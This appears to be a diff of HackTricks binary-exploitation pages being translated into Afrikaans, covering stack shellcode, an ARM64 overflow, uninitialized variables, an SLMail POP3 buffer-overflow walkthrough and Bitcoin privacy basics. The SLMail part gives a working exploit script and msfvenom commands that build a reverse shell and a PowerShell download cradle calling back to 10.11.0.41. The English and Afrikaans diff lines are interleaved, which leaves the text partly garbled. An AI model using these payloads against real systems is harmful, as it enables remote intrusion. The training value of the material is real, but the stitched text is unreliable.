> Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n registrasie te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stack neem en ons 'n oorskrywing het) en dan die **epiloog te misbruik** om die **`x30`** registrasie van 'n **beheerde `SP`** te laai en **`RET`** daarna toe.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
Ook op die volgende bladsy kan jy die ekwivalent van **Ret2esp in ARM64** sien:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** aanpas om na die ligging van hierdie shellcode te wys, wat dit laat uitvoer. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.
### C Example: A Vulnerable Program
Let's start with a simple example of a vulnerable C program:
### C Voorbeeld: 'n Kwesbare Program
Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C program:
```c
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
Dit program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van die `gets()` funksie.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
### Kompilasie
Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Deaktiveer stapelbeskerming.
- `-z execstack`: Maak die stapel uitvoerbaar, wat nodig is om shellcode wat op die stapel gestoor is, uit te voer.
- `-no-pie`: Deaktiveer Posisie Onafhanklike Uitvoerbare, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.
- `-m32`: Kompileer die program as 'n 32-bis uitvoerbare, wat dikwels gebruik word vir eenvoud in eksploitontwikkeling.
- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
### Python Exploit met Pwntools
Hier is hoe jy 'n eksploit in Python kan skryf met **pwntools** om 'n **ret2shellcode** aanval uit te voer:
```python
from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Hierdie skrip bou 'n payload wat bestaan uit 'n **NOP slide**, die **shellcode**, en dan oorskryf dit die **EIP** met die adres wat na die NOP slide wys, wat verseker dat die shellcode uitgevoer word.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoering "gly" in ons shellcode, ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Beskermings
## Protections
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **moet gedeaktiveer word** vir die adres om betroubaar te wees oor uitvoerings of die adres waar die funksie gestoor sal word sal nie altyd dieselfde wees nie en jy sal 'n lek nodig hê om uit te vind waar die win funksie gelaai is.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word of die gecompromitteerde EIP terugadres sal nooit gevolg word nie.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stapel** beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie streek nie uitvoerbaar sal wees nie.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it
- 64bit, ASLR met stapel adres lek, skryf shellcode en spring daarna
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it
- 32 bit, ASLR met stapel lek, skryf shellcode en spring daarna
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- 32 bit, ASLR met stapel lek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, geen ASLR, ROP gadget om stapel uitvoerbaar te maak en spring na shellcode in stapel
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Vind 'n inleiding tot arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
Kompile sonder pie, canary en nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Geen ASLR & Geen kanarie - Stack Overflow&#x20;
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
Om ASLR te stop, voer uit:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Om die [**offset van die bof te kry, kyk na hierdie skakel**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
Eksploiteer:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Die enigste "kompleks" ding om hier te vind, sou die adres in die stapel wees om te bel. In my geval het ek die eksploit gegenereer met die adres wat met gdb gevind is, maar toe ek dit eksploteer, het dit nie gewerk nie (omdat die stapeladres 'n bietjie verander het).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
Ek het die gegenereerde **`core`-lêer** (`gdb ./bog ./core`) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables
# Ongeïnitialiseerde Veranderlikes
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
Die kernidee hier is om te verstaan wat gebeur met **ongeïnitialiseerde veranderlikes aangesien hulle die waarde sal hê wat reeds in die toegewyde geheue aan hulle was.** Voorbeeld:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Funksie 1: `initializeVariable`**: Ons verklaar 'n veranderlike `x` en ken dit 'n waarde toe, kom ons sê `0x1234`. Hierdie aksie is soortgelyk aan die reservasie van 'n plek in geheue en die plasing van 'n spesifieke waarde daarin.
- **Funksie 2: `useUninitializedVariable`**: Hier verklaar ons 'n ander veranderlike `y` maar ken nie enige waarde aan dit toe nie. In C, ongeïnitialiseerde veranderlikes word nie outomaties op nul gestel nie. In plaas daarvan behou hulle die waarde wat laas op hul geheue ligging gestoor was.
When we run these two functions **sequentially**:
Wanneer ons hierdie twee funksies **opvolgend** uitvoer:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. In `initializeVariable`, word `x` 'n waarde toegeken (`0x1234`), wat 'n spesifieke geheue adres beset.
2. In `useUninitializedVariable`, word `y` verklaar maar nie 'n waarde toegeken nie, so dit neem die geheue plek reg na `x`. As gevolg van die nie-initialisering van `y`, eindig dit op om die waarde van dieselfde geheue ligging wat deur `x` gebruik is, "te erf", omdat dit die laaste waarde was wat daar was.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Hierdie gedrag illustreer 'n sleutelkonsep in lae-vlak programmering: **Geheue bestuur is van kardinale belang**, en ongeïnitialiseerde veranderlikes kan lei tot onvoorspelbare gedrag of sekuriteitskwesbaarhede, aangesien hulle onbedoeld sensitiewe data wat in geheue gelaat is, kan hou.
Uninitialized stack variables could pose several security risks like:
Ongeïnitialiseerde stapel veranderlikes kan verskeie sekuriteitsrisiko's inhou soos:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
### Example
- **Data Lek**: Sensitiewe inligting soos wagwoorde, versleuteling sleutels, of persoonlike besonderhede kan blootgestel word as dit in ongeïnitialiseerde veranderlikes gestoor word, wat dit moontlik maak vir aanvallers om hierdie data te lees.
- **Inligting Onthulling**: Die inhoud van ongeïnitialiseerde veranderlikes kan besonderhede oor die program se geheue uitleg of interne operasies onthul, wat aanvallers help om geteikende ontploffings te ontwikkel.
- **Kras en Onstabiliteit**: Operasies wat ongeïnitialiseerde veranderlikes betrek, kan lei tot ongedefinieerde gedrag, wat lei tot program kras of onvoorspelbare uitkomste.
- **Arbitraire Kode Uitvoering**: In sekere scenario's kan aanvallers hierdie kwesbaarhede benut om die program se uitvoeringsvloei te verander, wat hulle in staat stel om arbitraire kode uit te voer, wat dalk afstandkode-uitvoeringsbedreigings kan insluit.
### Voorbeeld
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Hoe Dit Werk:
#### How This Works:
- **`initializeAndPrint` Funksie**: Hierdie funksie verklaar 'n heelgetal veranderlike `initializedVar`, ken dit die waarde `100` toe, en druk dan beide die geheueadres en die waarde van die veranderlike. Hierdie stap is eenvoudig en toon hoe 'n geïnitialiseerde veranderlike optree.
- **`demonstrateUninitializedVar` Funksie**: In hierdie funksie verklaar ons 'n heelgetal veranderlike `uninitializedVar` sonder om dit te initialiseer. Wanneer ons probeer om sy waarde te druk, kan die uitvoer 'n ewekansige getal toon. Hierdie getal verteenwoordig enige data wat voorheen op daardie geheue ligging was. Afhangende van die omgewing en kompilateur, kan die werklike uitvoer verskil, en soms, vir veiligheid, mag sommige kompilateurs veranderlikes outomaties na nul initialiseer, alhoewel daar nie op staatgemaak moet word nie.
- **`main` Funksie**: Die `main` funksie roep beide van die bogenoemde funksies in volgorde aan, wat die teenstelling tussen 'n geïnitialiseerde veranderlike en 'n nie-geïnitialiseerde een demonstreer.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## ARM64 Voorbeeld
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Dit verander glad nie in ARM64 nie, aangesien plaaslike veranderlikes ook in die stapel bestuur word, jy kan [**hierdie voorbeeld nagaan**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) waar dit getoon word.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **Begin om die SLMail diens te installeer**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## Herbegin SLMail diens
Elke keer wanneer jy die **SLMail diens moet herbegin** kan jy dit doen met die Windows-konsol:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Baie basiese python exploitaanpassing
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Verander Immunity Debugger Lettertipe**
## **Change Immunity Debugger Font**
Gaan na `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Koppel die proses aan Immunity Debugger:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**En druk START knoppie**
## **Send the exploit and check if EIP is affected:**
## **Stuur die exploit en kyk of EIP geraak word:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Elke keer as jy die diens breek, moet jy dit herbegin soos aangedui aan die begin van hierdie bladsy.
## Create a pattern to modify the EIP
## Skep 'n patroon om die EIP te verander
The pattern should be as big as the buffer you used to broke the service previously.
Die patroon moet so groot wees soos die buffer wat jy gebruik het om die diens voorheen te breek.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Verander die buffer van die exploit en stel die patroon in en begin die exploit.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
'n Nuwe krag moet verskyn, maar met 'n ander EIP-adres:
![](<../images/image (636).png>)
Check if the address was in your pattern:
Kontroleer of die adres in jou patroon was:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Dit lyk of **ons die EIP in offset 2606** van die buffer kan wysig.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Kontroleer dit deur die buffer van die exploit te wysig:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
Met hierdie buffer moet die EIP wat gecrash het na 42424242 ("BBBB") wys.
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
Dit lyk of dit werk.
## Check for Shellcode space inside the stack
## Kontroleer vir Shellcode ruimte binne die stapel
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B behoort genoeg te wees vir enige kragtige shellcode.
Kom ons verander die buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
laai die nuwe exploit en kyk na die EBP en die lengte van die nuttige shellcode
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Jy kan sien dat wanneer die kwesbaarheid bereik word, die EBP na die shellcode wys en dat ons baie ruimte het om 'n shellcode hier te plaas.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
In hierdie geval het ons **van 0x0209A128 tot 0x0209A2D6 = 430B.** Genoeg.
## Check for bad chars
Change again the buffer:
## Kontroleer vir slegte karakters
Verander weer die buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,63 +128,55 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Die badchars begin by 0x01 omdat 0x00 amper altyd sleg is.
The badchars starts in 0x01 because 0x00 is almost always bad.
Voer herhaaldelik die exploit uit met hierdie nuwe buffer deur die karakters wat nutteloos blyk te wees, te verwyder:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Byvoorbeeld:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
In hierdie geval kan jy sien dat **jy nie die karakter 0x0A moet gebruik nie** (niks word in geheue gestoor nie aangesien die karakter 0x09 is).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
In hierdie geval kan jy sien dat **die karakter 0x0D vermy word**:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Vind 'n JMP ESP as 'n terugadres
Gebruik:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
U sal **die geheue kaarte** lys. Soek vir 'n DLl wat het:
You will **list the memory maps**. Search for some DLl that has:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
- **Rebase: Vals**
- **SafeSEH: Vals**
- **ASLR: Vals**
- **NXCompat: Vals**
- **OS Dll: Waar**
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Nou, binne hierdie geheue moet u 'n paar JMP ESP bytes vind, om dit te doen voer uit:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Dan, as 'n adres gevind word, kies een wat geen badchar bevat nie:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**In hierdie geval, byvoorbeeld: \_0x5f4a358f**\_
## Skep shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
As die exploit nie werk nie, maar dit behoort te werk (jy kan met ImDebg sien dat die shellcode bereik word), probeer om ander shellcodes te skep (msfvenom met verskillende shellcodes vir dieselfde parameters).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Voeg 'n paar NOPS by die begin** van die shellcode en gebruik dit en die terugkeeradres om JMP ESP te doen, en voltooi die exploit:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Daar is shellcodes wat **hulle self oorskryf**, daarom is dit belangrik om altyd 'n paar NOPs voor die shellcode by te voeg.
## Improving the shellcode
Add this parameters:
## Verbetering van die shellcode
Voeg hierdie parameters by:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Basiese Konsepte
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediêre.
- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end.
- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan.
- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiële dienste bied sonder sentrale owerhede.
- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik.
## Consensus Mechanisms
## Konsensusmeganismes
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie.
- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.
## Bitcoin Essentials
## Bitcoin Essensieel
### Transactions
### Transaksies
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin.
#### Key Components:
#### Sleutelkomponente:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig.
- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie-reëls).
### Lightning Network
### Lightning Netwerk
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand aan die blockchain te broadcast.
## Bitcoin Privacy Concerns
## Bitcoin Privaatheidkwessies
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Ontdekking**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel.
## Acquiring Bitcoins Anonymously
## Verkryging van Bitcoins Anoniem
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Metodes sluit kontanthandel, mynwerk en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
# Bitcoin Privacy Atacks
# Bitcoin Privaatheid Aanvalle
# Summary of Bitcoin Privacy Attacks
# Samevatting van Bitcoin Privaatheid Aanvalle
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer.
## **Common Input Ownership Assumption**
## **Algemene Inset Eienaarskap Aannames**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**.
## **UTXO Change Address Detection**
## **UTXO Veranderadres Ontdekking**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
'n UTXO, of **Onbestedigde Transaksie-uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer.
### Example
### Voorbeeld
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel.
## **Social Networks & Forums Exposure**
## **Sosiale Netwerke & Forums Blootstelling**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
## **Transaction Graph Analysis**
## **Transaksie Grafiek Analise**
